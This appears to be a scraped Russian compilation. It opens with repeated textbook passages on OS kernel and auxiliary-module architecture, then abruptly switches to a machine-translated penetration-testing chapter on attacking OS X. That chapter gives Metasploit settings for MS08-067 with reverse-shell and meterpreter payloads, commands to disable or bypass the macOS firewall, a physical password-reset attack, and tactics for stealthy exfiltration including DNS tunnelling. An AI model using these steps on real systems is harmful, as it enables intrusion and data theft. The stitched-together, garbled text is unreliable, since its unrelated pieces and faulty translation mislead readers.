системные обрабатывающие программы — текстовые или графические редакторы, компиляторы, компоновщики, отладчики;
программы предоставления пользователю дополнительных услуг – специальный вариант пользовательского интерфейса, калькулятор и даже игры;
библиотеки процедур различного назначения, упрощающие разработку приложений, например библиотека математических функций, функций ввода-вывода и т. д.
Как и обычные приложения, утилиты, обрабатывающие программы и библиотеки ОС для выполнения своих задач, обращаются к функциям ядра посредством системных вызовов.
Разделение операционной системы на ядро и модули-приложения обеспечивает легкую расширяемость ОС. Чтобы добавить новую высокоуровневую функцию, достаточно разработать новое приложение, и при этом не требуется модифицировать ответственные функции, образующие ядро системы. Однако внесение изменений в функции ядра может оказаться гораздо сложнее, и сложность эта зависит от структурной организации самого ядра. В некоторых случаях каждое исправление ядра может потребовать его полной перекомпиляции.
Модули ОС, оформленные в виде утилит, системных обрабатывающих программ и библиотек, обычно загружаются в оперативную память только на время выполнения своих функций, то есть являются транзитными. Постоянно в оперативной памяти располагаются только самые необходимые коды ОС, составляющие ее ядро. Такая организация ОС экономит оперативную память компьютера.
Важным свойством архитектуры ОС, основанной на ядре, является возможность защиты кодов и данных операционной системы за счет выполнения функций ядра в привилегированном режиме.
Ядро и вспомогательные модули ОС — КиберПедия
Наиболее общим подходом к структуризации операционной системы является разделение всех ее модулей на две группы:
— ядро — модули, выполняющие основные функции ОС;
— модули, выполняющие вспомогательные функции ОС.
Модули ядра выполняют такие базовые функции ОС, как управление процессами, памятью, устройствами ввода-вывода и т. п. Ядро составляет сердцевину операционной системы, без него ОС является полностью неработоспособной и не сможет выполнить ни одну из своих функций.
В состав ядра входят функции, решающие внутрисистемные задачи организации вычислительного процесса, такие как переключение контекстов, загрузка/выгрузка станиц, обработка прерываний. Эти функции недоступны для приложений. Другой класс функций ядра служит для поддержки приложений, создавая для них так называемую прикладную программную среду. Приложения могут обращаться к ядру с запросами — системными вызовами — для выполнения тех или иных действий, например для открытия и чтения файла, вывода графической информации на дисплей, получения системного времени и т. д. Функции ядра, которые могут вызываться приложениями, образуют интерфейс прикладного программирования — API.
Функции, выполняемые модулями ядра, являются наиболее часто используемыми функциями операционной системы, поэтому скорость их выполнения определяет производительность всей системы в целом. Для обеспечения высокой скорости работы ОС все модули ядра или большая их часть постоянно находятся в оперативной памяти, то есть являются резидентными.
Ядро является движущей силой всех вычислительных процессов в компьютерной системе, и крах ядра равносилен краху всей системы. Поэтому разработчики операционной системы уделяют особое внимание надежности кодов ядра, в результате процесс их отладки может растягиваться на многие месяцы.
Обычно ядро оформляется в виде программного модуля некоторого специального формата, отличающегося от формата пользовательских приложений.
Остальные модули ОС выполняют весьма полезные, но менее обязательные функции. Например, к таким вспомогательным модулям могут быть отнесены программы архивирования данных на магнитной ленте, дефрагментации диска, текстового редактора. Вспомогательные модули ОС оформляются либо в виде приложений, либо в виде библиотек процедур.
Поскольку некоторые компоненты ОС оформлены как обычные приложения, то есть в виде исполняемых модулей стандартного для данной ОС формата, то часто бывает очень сложно провести четкую грань между операционной системой и приложениями (рис. 10.12).
Решение о том, является ли какая-либо программа частью ОС или!нет, принимает производитель ОС. Среди многих факторов, способных повлиять на это решение, немаловажными являются перспективы того, будет ли программа иметь массовый спрос у потенциальных пользователей данной ОС.
Некоторая программа может существовать определенное время как пользовательское приложение, а потом стать частью ОС, или наоборот. Ярким примером такого изменения статуса программы является Web-браузер компании Microsoft, который сначала поставлялся как отдельное приложение, затем стал частью операционных систем Windows NT 4.0 и Windows 95/98, а сегодня существует большая вероятность того, что по решению суда этот браузер снова превратится в самостоятельное приложение.
Рис. 10.12. Нечеткость границы между ОС и приложениями
Вспомогательные модули ОС обычно подразделяются на следующие группы:
— утилиты — программы, решающие отдельные задачи управления и сопровождения компьютерной системы, такие, например, как программы сжатия дисков, архивирования данных на магнитную ленту;
— системные обрабатывающие программы — текстовые или графические редакторы, компиляторы, компоновщики, отладчики;
— программы предоставления пользователю дополнительных услуг — специальный вариант пользовательского интерфейса, калькулятор и даже игры;
— библиотеки процедур различного назначения, упрощающие разработку приложений, например библиотека математических функций, функций ввода-вывода и т. д.
Как и обычные приложения, для выполнения своих задач утилиты, обрабатывающие программы и библиотеки ОС, обращаются к функциям ядра посредством системных вызовов (рис. 10.13).
Разделение операционной системы на ядро и модули-приложения обеспечивает легкую расширяемость ОС. Чтобы добавить новую высокоуровневую функцию, достаточно разработать новое приложение, и при этом не требуется модифицировать ответственные функции, образующие ядро системы. Однако внесение изменений в функции ядра может оказаться гораздо сложнее, и сложность эта зависит от структурной организации самого ядра. В некоторых случаях каждое исправление ядра может потребовать его полной перекомпиляции.
Рис. 10.13. Взаимодействие между ядром и вспомогательными модулями ОС
Модули ОС, оформленные в виде утилит, системных обрабатывающих программ и библиотек, обычно загружаются в оперативную память только на время выполнения своих функций, то есть являются транзитными. Постоянно в оперативной памяти располагаются только самые необходимые коды ОС, составляющие ее ядро. Такая организация ОС экономит оперативную память компьютера.
Важным свойством архитектуры ОС, основанной на ядре, является возможность защиты кодов и данных операционной системы за счет выполнения функций ядра в привилегированном режиме.
Ядро в привилегированном режиме
Для надежного управления ходом выполнения приложений операционная система должна иметь по отношению к приложениям определенные привилегии. Иначе некорректно работающее приложение может вмешаться в работу ОС и, например, разрушить часть ее кодов. Все усилия разработчиков операционной системы окажутся напрасными, если их решения воплощены в незащищенные от приложений модули системы, какими бы элегантными и эффективными эти решения ни были. Операционная система должна обладать исключительными полномочиями также для того, чтобы играть роль арбитра в споре приложений за ресурсы компьютера в мультипрограммном режиме. Ни одно приложение не должно иметь возможности без ведома ОС получать дополнительную область памяти, занимать процессор дольше разрешенного операционной системой периода времени, непосредственно управлять совместно используемыми внешними устройствами.
Обеспечить привилегии операционной системе невозможно без специальных средств аппаратной поддержки. Аппаратура компьютера должна поддерживать как минимум два режима работы — пользовательский режим (usermode) и привилегированный режим, который также называют режимом ядра (kernelmode), или режимом супервизора (supervisormode). Подразумевается, что операционная система или некоторые ее части работают в привилегированном режиме, а приложения — в пользовательском режиме.
Так как ядро выполняет все основные функции ОС, то чаще всего именно ядро становится той частью ОС, которая работает в привилегированном режиме (рис. 10.14). Иногда это свойство — работа в привилегированном режиме — служит основным определением понятия «ядро».
Рис. 10.14.Архитектура операционной системы с ядром в привилегированном режиме
Приложения ставятся в подчиненное положение за счет запрета выполнения в пользовательском режиме некоторых критичных команд, связанных с переключением процессора с задачи на задачу, управлением устройствами ввода-вывода, доступом к механизмам распределения и защиты памяти. Выполнение некоторых инструкций в пользовательском режиме запрещается безусловно (очевидно, что к таким инструкциям относится инструкция перехода в привилегированный режим), тогда как другие запрещается выполнять только при определенных условиях. Например, инструкции ввода-вывода могут быть запрещены приложениям при доступе к контроллеру жесткого диска, который хранит данные, общие для ОС и всех приложений, но разрешены при доступе к последовательному порту, который выделен в монопольное владение для определенного приложения. Важно, что условия разрешения выполнения критичных инструкций находятся под полным контролем ОС и этот контроль обеспечивается за счет набора инструкций, безусловно запрещенных для пользовательского режима.
Аналогичным образом обеспечиваются привилегии ОС при доступе к памяти. Очень важно, что механизмы защиты памяти используются операционной системой не только для защиты своих областей памяти от приложений, но и для защиты областей памяти, выделенных ОС какому-либо приложению, от остальных приложений. Говорят, что каждое приложение работает в своем адресном пространстве. Это свойство позволяет локализовать некорректно работающее приложение в собственной области памяти, так что его ошибки не оказывают влияния на остальные приложения и операционную систему.
Ядро системы и вспомогательные модули ОС.
Наиболее общим подходом к структуризации ОС является разделение всех её модулей на две группы:
· Ядро -модули, выполняющие основные функции ОС;
· Вспомогательные модули –выполняют вспомогательные функции ОС.
Базовые компоненты ОС, которые отвечают за важнейшие ее функции, находятся в памяти постоянно и выполняются в привилегированном режиме, называют ядром операционной системы.
К важнейшим функциям ОС, выполнение которых обычно возлагают на ядро, принадлежат:
-управление процессами;
-обработка прерываний;
-управление памятью;
-управление вводом-выводом.
Эти функции недоступны для приложений.
Другой класс функций ядра служит для поддержки приложений, создавая для них так называемую прикладную программную среду. Приложения могут обращаться к ядру с запросами — системными вызовами — для выполнения тех или иных действий, например для открытия и чтения файла, вывода графической информации на дисплей, получения системного времени и т. д.
Функции ядра, которые могут вызываться приложениями, образуют интерфейс прикладного программирования — API.
Функции, выполняемые модулями ядра, являются наиболее часто используемыми функциями операционной системы, поэтому скорость их выполнения определяет производительность всей системы в целом. Для обеспечения высокой скорости работы ОС все модули ядра или большая их часть постоянно находятся в оперативной памяти, то есть являются резидентными.
Ядро является движущей силой всех вычислительных процессов в компьютерной системе, и крах ядра равносилен краху всей системы. Поэтому разработчики операционной системы уделяют особое внимание надежности кодов ядра.
Остальные (вспомогательные) модули ОС выполняют весьма полезные, но менее обязательные функции. Например, к таким вспомогательным модулям могут быть отнесены программы архивирования данных на магнитной ленте, дефрагментации диска, текстового редактора. Вспомогательные модули ОС оформляются либо в виде приложений, либо в виде библиотек процедур.
Поскольку некоторые компоненты ОС оформлены как обычные приложения, то есть в виде исполняемых модулей стандартного для данной ОС формата, то часто бывает очень сложно провести четкую грань между операционной системой и приложениями.
Некоторая программа может существовать определенное время как пользовательское приложение, а потом стать частью ОС, или наоборот.
Вспомогательные модули ОС обычно подразделяются на следующие группы:
• утилиты — программы, решающие отдельные задачи управления и сопровождения компьютерной системы, такие, например, как программы сжатия дисков, архивирования данных на магнитную ленту;
• системные обрабатывающие программы — текстовые или графические редакторы, компиляторы, компоновщики, отладчики;
• программы предоставления пользователю дополнительных услуг — специальный вариант пользовательского интерфейса, калькулятор и даже игры;
• библиотеки процедур различного назначения, упрощающие разработку приложений, например библиотека математических функций, функций ввода-вывода и т. д.
Как и обычные приложения, для выполнения своих задач утилиты, обрабатывающие программы и библиотеки ОС, обращаются к функциям ядра посредством системных вызовов (рис. 1.1).
Рис.1.1-Взаимодействие между ядром и вспомогательными модулями ОС
Разделение операционной системы на ядро и модули-приложения обеспечивает легкую расширяемость ОС.
Чтобы добавить новую высокоуровневую функцию, достаточно разработать новое приложение, и при этом не требуется модифицировать ответственные функции, образующие ядро системы.
Однако внесение изменений в функции ядра может оказаться гораздо сложнее, и сложность эта зависит от структурной организации самого ядра.
Вспомогательный модуль
— обзор
Использование боеприпасов в оружии
Чтобы начать это, нам нужно перейти к нашему изображению Backtrack и открыть терминал. Внутри терминала, как и раньше, нам нужно будет ввести msfconsole в командной строке root, это запустит Metasploit для u. Когда фреймворк Metasploit (msf) будет полностью загружен, вы увидите экран (возможно, с другим изображением), очень похожий на рисунок 7.7.
Рисунок 7.7. Стартовый экран Metasploit из msfconsole
Мы рассмотрели внутренности модуля, поэтому теперь мы хотим увидеть, как он на самом деле реализован в среде эксплойтов, такой как Metasploit.Опять же, это не книга по Metasploit, поэтому мы довольно быстро рассмотрим использование фреймворка. Для получения дополнительной информации о том, как более эффективно использовать Metasploit, прочтите страницу Offensive Security (http://www.offensive-security.com/metasploit-unleashed/Main_Page). В качестве примечания: всегда рекомендуется использовать в своей платформе команду msfupdate из обычного приглашения терминала. Мы стараемся откладывать разработку на несколько обновлений, чтобы убедиться, что обновление не помешает чему-либо, над чем мы работаем.
Metasploit работает в четыре этапа; выберите модуль, загрузите полезную нагрузку, введите параметры и стреляйте. Он довольно прост в использовании, его сложнее освоить, но он очень эффективен в руках хакеров любого уровня подготовки благодаря своей гибкости и удобству использования.
На рис. 7.8 мы используем команду show options , чтобы определить, какие параметры были предварительно заполнены модулем и какие параметры нам нужно будет установить для успешного запуска модуля. Мы также видим, что нам не хватает второй части полного пакета, полезной нагрузки, которая проиллюстрирована на рисунке 7.9, после того, как мы установили все подходящие параметры для модуля.
Рисунок 7.8. Параметры пустого поля модуля upnp_Location
Рисунок 7.9. Модуль upnp_Location со всеми заполненными опциями
Команды, необходимые для установки на рис. 7.9 в Metasploit, следующие:
set LHOST XXXX —Эта опция является нашим адресом локального хоста, если вы набираете ipconfig из консоли msf, вы должен быть в состоянии определить, какой у вас внешний интерфейс eth2 .Это адрес, который вам нужно ввести в переменную LHOST. Если вы собираетесь использовать несколько эксплойтов и ваш внешний интерфейс не будет меняться, рекомендуется использовать команды глобальных переменных для msf, такие как setg LHOST XXXX (вы можете отключить переменную с помощью unsetg ), что позволит вам не вводить эту команду для каждого используемого модуля.
Установить RHOST X.X.X.X —Эта опция является вашей уязвимой целью, в данном случае нашей целью было 192.168.1.200. Мы не рекомендуем устанавливать глобальные переменные для переменных R * в реальном тесте на проникновение из-за необходимости постоянно менять цели.
Установить PAYLOAD generic / shell_reverse_tcp —Это опция полезной нагрузки и блок кода, который мы пропустили на рис. 7.8. Этот параметр важен для понимания, поскольку после срабатывания эксплойта это будет метод, с помощью которого вы будете общаться и взаимодействовать с удаленной системой. Предпочтительными оболочками почти всегда являются оболочки meterpreter из-за их расширенных наборов функций, но иногда цель, которую вы атакуете, не может справиться с оболочкой meterpreter, и вам нужно будет использовать стандартную универсальную оболочку на основе Linux.
Примечание
Если вы скомпрометируете цель Windows с помощью полезной нагрузки, содержащей общую оболочку Win32, можно попытаться «обновить» эту оболочку до оболочки meterpreter, запустив интерактивный сеанс в фоновом режиме с помощью Crtl + Z и введя команду sessions – u <номер сеанса> , будет предпринята попытка пересылки полезных данных meterpreter. Если это сработает, вы получите отличную интерактивную оболочку, если нет, вы застряли с тем, что у вас есть.
В этом примере мы настроили все шаги, описанные выше, и теперь мы готовы использовать цель.Используя команду , используйте эксплойт . Мы рассмотрим взаимодействие оболочки с операционной системой вскоре после анализа уязвимости ms08-067.
При анализе уязвимости mDNSResponder мы получили базовое представление о принципах работы эксплойта и, в частности, о том, как использовать этот эксплойт для атаки на нашу цель. Это далеко не единственная уязвимость OS X, появившаяся за последние годы, но это одна из немногих, которая является удаленной и нацелена на то, что Apple внедрила в операционную систему.Подавляющее большинство уязвимостей, которые мы рассмотрим в оставшейся части главы, как правило, связаны с приложениями сторонних разработчиков или уязвимостями браузера в Firefox и Safari.
MS08-067 «Старый надежный»
Причина, по которой мы не торопимся, чтобы указать на уязвимости в Windows, связана с тем, что, хотя эксплойту, подобному MS08-067, более 4 лет, и он был оценен как критическая от Microsoft (Microsoft), в корпоративных средах он до сих пор не исправлен. По собственному опыту мы обнаруживаем эту уязвимость в большинстве крупных корпораций, для которых мы проводим тестирование на проникновение.
Типичный ответ, который мы слышим от частных лиц и администраторов предприятия, выглядит примерно так: «У нас есть брандмауэры, все в порядке» или «Мы слишком велики, чтобы все исправлять». Мы неизбежно найдем эти ящики в их сети и уничтожим остальную часть их среды, но почему? Для тех, кто не знаком с MS08-067, это недостаток в реализации службы Windows Server, который при столкновении со специально созданным пакетом удаленного вызова процедур (RPC) упадет ниц и позволит удаленному выполнение кода, приводящее к доступу на уровне системы.Эта уязвимость была настолько распространенной, что червь Conficker фактически использовал ее в качестве одного из методов распространения между зараженными и чистыми компьютерами (McAfee Labs).
Итак, давайте кратко рассмотрим модуль Metasploit, чтобы проиллюстрировать, насколько безумно легко использовать этот эксплойт в качестве тестера на проникновение.
Как видно на Рисунке 7.10, модуль эксплойта не имеет большого количества параметров, которые нужно установить. В этом случае мы уже использовали команду setg для установки нашей переменной LHOST , поэтому все, что нам осталось, это ввести цель с переменной RHOST , как мы это делали в модуле mDNSResponser.Поскольку это модуль эксплойта Windows, мы можем использовать meterpreter в качестве оболочки, как указано на рис. 7.11, с помощью параметров полезной нагрузки (windows / meterpreter / reverse_tcp) . Как мы уже упоминали ранее, это идеальная оболочка для нас, как для злоумышленников, благодаря ее способности запускать вспомогательные модули.
Рисунок 7.10. MS08-067 Модуль эксплойтов
Рисунок 7.11. Оболочка, полученная в результате успешного выполнения MS08-067
На рисунке 7.11 мы видим, что наш эксплойт был успешным, поскольку он завершил отправку этапа полезной нагрузки, поскольку мы видим сообщение «Сеанс 2 Meterpreter открыт…». Пока мы видим командную строку meterpreter, обозначенную meterpreter > мы успешно взаимодействуем с целевым хостом.
Рисунок 7.12 — результат выполнения команды ls в нашей целевой системе. Что важно отметить, продолжая играть с Metasploit и meterpreter, так это то, что вы «используете» систему Linux даже при взаимодействии с целевым компьютером Windows. Meterpreter интерпретирует ваши команды Linux, такие как ls и ps , и запускает эквивалентную команду Windows, чтобы отобразить вам результат. Если вы хотите увидеть еще несколько опций, доступных вам в оболочке meterpreter, просто введите? В интерактивную оболочку meterpreter, как показано на рисунке 7.13.
Рисунок 7.12. Выполняется команда ls в Meterpreter
Рисунок 7.13. Параметры интерактивной команды Meterpreter
Чтобы дать вам небольшой предварительный просмотр следующей главы по обратному проектированию, которая содержит обзор программирования на ассемблере, мы взяли небольшой отрывок из исходного кода модуля эксплойта MS08-067.
На рис. 7.14 показана лишь небольшая часть функции эксплойта в исходном коде модуля эксплойта MS08-067. То, что мы можем увидеть из этого небольшого фрагмента, является частью техники эксплойтов Return-Oriented Programming (снова обсуждается в главе 9), основанной на версии атакуемой вами операционной системы Windows, 5.Например, 1.2600.2180 — это Windows XP, а 5.1.2600.5512 — это Windows XP SP3. Эти числа относятся к версиям драйверов операционной системы. Знание конкретной операционной системы критически важно для понимания того, как и где взаимодействовать со стеком и кучей. Полный код модуля можно найти во фреймворке Metasploit с возвратом или онлайн в каталоге эксплойтов Metasploit (http://www.metasploit.com/modules/exploit/windows/smb/ms08_067_netapi).
Рисунок 7.14.MS08-067 Исходный код эксплойта
Веб-эксплойты
Следующий «класс» эксплойтов, который мы рассмотрим, продолжая фазу эксплойтов нашего цикла атаки, — это веб-эксплойты. Если вы зайдете в Exploit-DB (http://www.exploit-db.com) и выполните быстрый поиск Safari или Firefox, вам, скорее всего, будут представлены страницы с эксплойтами, от относительно недавних до довольно старых. При просмотре баз данных эксплойтов вам необходимо знать, что вы должны внимательно прочитать, на что на самом деле влияет эксплойт с точки зрения версии и какие условия должны быть выполнены, чтобы вызвать уязвимость.Многие эксплойты в базе данных являются доказательством концептуального кода или могут входить в цепочку эксплойтов, приводящих к корневому доступу.
Как видно на рис. 7.15, 13 мая 2012 г. был опубликован новый эксплойт, относящийся к Firefox 8 и 9, хотя текущая версия Firefox — 14.x. Это говорит нам о том, что исследователи постоянно публикуют новые эксплойты, но, возможно, они исследовали их на более старой версии программного обеспечения. Это не обязательно плохая новость, как мы указывали ранее в этой главе, установка исправлений не обязательно является сильной стороной для большинства компаний.Найдите время, чтобы изучить свою цель и убедиться, что вы выбрали подходящий эксплойт, соответствующий вашей цели (если он доступен).
Рисунок 7.15. Exploit-db Отображение результатов Firefox
Давайте потратим немного времени, чтобы изучить различные компоненты, которые мы будем рассматривать, когда будем говорить об уязвимостях, связанных с Интернетом. Когда мы говорим об уязвимостях, связанных с Интернетом, у нас есть несколько возможных векторов атак, начиная от самого браузера, плагинов или различных сторонних модулей, которые браузер загружает для улучшения вашего просмотра.Некоторые возможные векторы атак, которые следует учитывать при использовании сторонних приложений 3 rd в браузере, — это Java, JavaScript и Adobe (Flash и PDF).
Причина, по которой эти технологии упоминаются постоянно, заключается в том, что они постоянно исследуются исследователями из-за их почти повсеместного присутствия в нашей жизни, когда мы перемещаемся по Интернету. Всегда есть деньги, когда у вас есть что-то, что затрагивает миллионы пользователей и неизвестно владельцу приложения, или если нет патча (0-день).Мы продолжим видеть, как эксплойты выпускаются с угрожающей скоростью, поскольку эти приложения становятся более взаимосвязанными и сложными, чем они уже есть.
Мы собираемся уделить время изучению очень актуальной темы, касающейся уязвимостей Java, — трояна Flashback (вариант Flashback.K). Если вы являетесь пользователем Mac и не отключили свой Java-клиент или все еще уверены, что вы в безопасности, потому что вы работаете на Mac, мы можем предложить зайти в Google и выполнить поиск по запросу «flashback trojan», чтобы прочитать некоторые из истерия.Наша работа, как специалистов по безопасности, заключается в том, чтобы применять аналитический подход даже к худшим моментам в области безопасности, когда «небо падает», таким как взлом RSA в прошлом году.
Давайте приступим к рассмотрению Flashback, что это такое, как работает и что вы можете с этим поделать. F-Secure был одним из первых, кто обнаружил первоначальную версию трояна, названного ими BASH / QHost.WB, в конце сентября — начале октября 2011 года, маскируясь под установочный пакет Flash Player, показанный на рис. 7.16, на довольно вредоносном, но безобидно выглядящий веб-сайт.
Рисунок 7.16. Исходный код установщика трояна BASH / QHost.WB (F-Secure)
BASH был загружен и установлен из-за того, что пользователь ввел свой пароль, позволяющий браузеру установить вредоносный плагин. Затем троянец изменяет файл хоста, чтобы перенаправить браузер пользователя на их поддельную версию Google, с какой целью мы не уверены (Брод).
BASH мог быть одной из первых итераций трояна Flashback, поскольку в середине сентября 2011 года охранная компания Intego сообщила об обнаружении чуть более сложного трояна, который использовал тот же тип поддельного установщика Flash Player, чтобы обманом заставить пользователей установить его. .Компания Intego назвала этот троян OSX / Flashback.A (Питер Джеймс).
Примечание
Если вы когда-либо задавались вопросом, почему и как вредоносное программное обеспечение называется таким образом, вы можете прочитать стандарты именования Microsoft Malware Protection Center (MMPC), чтобы узнать, как Microsoft называет вредоносное ПО (http://www.microsoft.com/ безопасность / портал / общий / MalwareNaming.aspx).
Это распространенный метод использования веб-ловушек и скрытых атак. В браузере или соответствующем плагине может быть эксплойт, но если они могут заставить пользователя установить вредоносное программное обеспечение, зачем тратить дополнительные усилия на использование хорошего эксплойта? Помните, что с точки зрения злоумышленника с нераскрытым эксплойтом, это однозарядный пистолет.Как только этот код эксплойта будет выпущен в свет, он в конечном итоге превратится в антивирусные сигнатуры.
Тем не менее, возвращаясь к Flashback, новые варианты Flashback ходили туда и сюда с Apple и Oracle, чтобы определить, могут ли они исправить и удалить вредоносный код, прежде чем он обновится снова (Лэнс Уитни). Проблема с этим конкретным вредоносным ПО, как и с большинством вредоносных программ, заключается в том, что они растут и развиваются быстрее, чем могут успеть защитники. В течение некоторого времени один из вариантов трояна Flashback фактически переключился на внедрение кода непосредственно в виртуальную машину Java, прежде чем в апреле 2012 года Apple выпустила патч для Java.
В более новых версиях кода Flashback было решено перейти от простого перенаправления браузера к попытке пройти после учетных данных, хранящихся в системе, и передать данные пользователя обратно на его серверы управления и контроля. Вариант Flashback.K также использует для доставки эксплойт Java из CVE-2012-0507. Вредоносные программы, нацеленные на OS X и iOS, будут становиться все более продвинутыми по мере того, как Apple укрепляется на рынке, поэтому будьте готовы, если вы еще этого не сделали.
Примечание
Выполните ограничения Apple в отношении App Store. Любой антивирус, распространяемый через App Store, будет медленно получать новые определения вирусов и не сможет выполнять большинство типов мониторинга в реальном времени, которые мы привыкли делать. их неспособность устанавливать расширения ядра и обновлять их с помощью механизма, отличного от App Store (Чарльз Артур).Это означает, что пользователю необходимо вручную установить антивирус из другого источника, чтобы получить «полную защиту». Это прямо противоречит тому, что Apple настаивает на том, чтобы все устанавливали все приложения из App Store и только из App Store.
Физические атаки
Мы обсудили удаленные атаки на запущенные службы OS X, и мы обсудили атаки, требующие взаимодействия с пользователем через Java в браузере, но это не единственные векторы атак, о которых мы должны беспокоиться. Физический доступ к оборудованию — это самый мощный вектор атаки, который у нас есть как у злоумышленников.Оттуда мы могли бы использовать инструмент, чтобы попытаться получить доступ к основной памяти через прямой доступ к памяти (DMA), поскольку Firewire и Thunderbolt физически подключены к шине, в отличие от USB, который маршрутизируется через ЦП для управления своей шиной.
Коммерческие компании наблюдали за этим и даже использовали слабые места в собственных функциях Apple для извлечения незашифрованных паролей из памяти через Firewire (Дон Райзингер). Эта уязвимость впервые появилась в версиях OS X до 10.7, что означает, что это не новость для Apple, и вызвано тем, что OS X должна хранить пароли пользователей, когда у них включен «автоматический вход». Когда система находится в спящем режиме, она сохраняет пароль в памяти, чтобы иметь возможность снова войти в систему, когда вы разбудите систему.
Эта «уязвимость» ничем не отличается от того, когда Windows хранит пароль пользователя в реестре. В Windows пользователь может хранить свой логин и пароль в защищенной части реестра, которая называется Секреты. Если у вас есть доступ к операционной системе на системном (корневом) уровне, вы можете четко прочитать секреты или, в случае Apple, если у вас есть доступ к основной памяти посредством DMA через порт Firewire.Вы можете легко защититься от атак такого типа, отключив порт Firewire и не включив автоматический вход.
Существует также нетехнический стиль атаки, когда злоумышленник просто сбрасывает ваш пароль с консоли во время перезагрузки. Использование различных методов, поддерживаемых Apple (http://support.apple.com/kb/ht1274), таких как установочный диск Mac OS X. Обычно злоумышленнику достаточно получить доступ к вашему компьютеру и выполнить три шага:
- 1.
Вставьте установочный диск, перезагрузите Mac и удерживайте нажатой клавишу C.
- 2.
Перейдите в меню утилит и воспользуйтесь утилитой сброса пароля, показанной на Рисунке 7.17.
Рисунок 7.17. Утилита сброса пароля OS X Кредит: Apple
- 3.
Перезагрузитесь снова и войдите с новым паролем.
Интересная особенность OS X 10.7 и более поздних версий: если вы можете получить доступ к Apple ID и паролю пользователя, их можно использовать для сброса пароля OS X, если они разрешили это во время установки.Мы бы посоветовали вам не подключать учетную запись, которая может быть скомпрометирована с вашим паролем администратора, так как злоумышленнику не нужно физически находиться на вашем компьютере, чтобы сбросить пароль, они могут просто подождать с запущенным кейлоггером, чтобы вы вошли в Apple (хотя на этом этапе у вас может быть более серьезная проблема).
Сбор и извлечение данных
Как злоумышленнику хорошо получить root-доступ к системе, в слабо освещенных комнатах наверняка последуют высокие пятерки и рукопожатия за особенно хороший приз, но это только середина нашего квеста. .Когда мы входим в систему, мы должны думать о способах быстрого сбора данных, поскольку мы можем оставаться в системе недолго; наше соединение может прерваться, компьютер может прервать процесс, в котором мы находимся, или нас могут обнаружить.
По сути, для нас важны только несколько каталогов (которые мы рассмотрели в других главах), главные из которых — это домашние каталоги пользователей, а другие — для сброса файлов паролей для взлома. Эти два основных каталога обычно затем извлекаются в нашу атакующую систему для анализа, чтобы найти дополнительный пароль или другие возможные каталоги, в которых информация хранится на локальном компьютере или в сети.
Однако остается вопрос, что делать, чтобы убрать эту информацию из системы, которую мы атакуем. Итак, мы скопировали все наши «полученные» данные в одно место и упаковали их в tar-шар (файл .tar.gz), и мы ждем, чтобы их эксфильтровать, но мы сталкиваемся с проблемой, мы не может напрямую связываться с нашей машиной, так как это было бы слишком очевидно, если бы мы просто отправили данные себе по FTP.
В большинстве домашних пользовательских сред вы можете перемещать большие файлы, и пользователь не будет в этом мудр, поскольку большинству пользователей не хватает утилит для обнаружения кражи данных.В корпоративных средах мы обнаружили, что даже если у них есть датчики на миллион долларов, есть вероятность, что за ними не очень хорошо наблюдают на предмет аномальной передачи данных в среду и из нее, но всегда есть исключения.
Давайте потратим немного времени и рассмотрим несколько технологий, которые могут препятствовать нашему прогрессу (в корпоративной среде), или способы, позволяющие нам сохранять конфиденциальность.
Локальный брандмауэр — В случае локального брандмауэра OS X мы должны смотреть на него с точки зрения его назначения.Это базовый (очень простой) брандмауэр прикладного уровня, основанный на правилах. Он предназначен для того, чтобы система оставалась «скрытой» в сети и разрешала обмен данными с системой только от авторизованных приложений и служб прослушивания. Самое замечательное в том, что мы уже присутствуем в системе, — это то, что мы можем делать с межсетевым экраном несколько вещей; добавить наши собственные авторизованные приложения, использовать то, что находится в списке доверенных приложений, или просто выключить брандмауэр.
Список доверенных приложений : / usr / libexec / ApplicationFirewall / socketfilterfw —listapps / Applications / another.app
Добавить приложение : / usr / libexec / ApplicationFirewall / socketfilterfw —add /Applications/another.app
Удалить приложение : / usr / libexec / ApplicationFirewall / socketfilterfw / —remove / Applications another.app
Разблокировать приложение : / usr / libexec / ApplicationFirewall / socketfilterfw —unblockapp /Applications/another.app
Убить брандмауэр : / usr / libexec / ApplicationFirewall —set / socket выкл.
Помните, что цель — быть незаметным, поэтому сначала используйте наименее заметную тактику, например, проверьте, есть ли у них IRC, Skype, AIM или какая-либо другая программа, способная передавать файлы, добавленные в список доверенных приложений брандмауэра, чтобы иметь возможность получите свои файлы с помощью.Если вы хотите просмотреть другие команды в socketfilterfw, вы можете использовать параметр — h .
Корпоративный брандмауэр —Если с корпоративным брандмауэром что-то не так, вы, скорее всего, не сможете манипулировать им так же, как вы можете манипулировать локальным брандмауэром. Тем не менее, хорошие новости для вас: большинство корпоративных брандмауэров предназначены для защиты от людей, а не для хранения данных. Это означает, что если у вас возникли проблемы с выводом данных на нестандартные порты, переключитесь на порты со стандартным трафиком, такие как 22 ( SSH), 80 (HTTP) и 443 (HTTPS).
Если это не сработает, настройте прослушиватель в своей системе с выходом в Интернет и попытайтесь подключиться к нему, чтобы найти открытый порт на брандмауэре. Если, с другой стороны, они пропускают трафик через порт 22, прыгайте от радости и отправляйте данные от вашей цели к вашему пустому ящику в эфире. Никогда не отправляйте трафик непосредственно себе, если вы пытаетесь действовать незаметно, вы можете заблокироваться, если они вас найдут.
Outbound Proxy — Вы столкнулись с ситуацией, когда пытались выйти на 22, но брандмауэр не позволяет.Вы пытались отправить данные через 80 и 443, но брандмауэр с фильтрацией пакетов распознает, что это не веб-запросы, или не разрешает исходящие соединения и заставляет вас перейти на прокси-сервер. Здесь есть пара альтернатив, которые мы можем использовать для возможного получения данных, мы могли бы попытаться отправить наш трафик через порт 53 (DNS) или мы могли бы настроить «законный» веб-сайт и загрузить на него наш файл через SSL.
Хотя настроить веб-сайт для загрузки файла можно без особых трудностей, отправка файла через порт 53 и маскировка его под трафик DNS потребуют усилий, выходящих за рамки этой книги, но не бойтесь, у нас есть возможность DNS.Для DNS вы можете посмотреть инструмент (набор скриптов), например OzymanDNS Дэна Камински. Отличное руководство доступно Андреасом Гором (http://www.splitbrain.org/blog/2008-11/02-dns_tunneling_made_simple).
Мораль истории кражи данных — быть тихой и настойчивой. Где-то почти всегда будет дыра в броне или какой-то процесс, к которому вы можете получить доступ, который позволит вам отправлять исходящие данные в определенное время в течение дня (например, в обычные часы работы). Понимание бизнес-процессов вашей цели (где это возможно) — отличный способ обнаружить недостатки в этих процессах и использовать их против них.
10 самых популярных модулей эксплойтов и вспомогательных модулей Metasploit
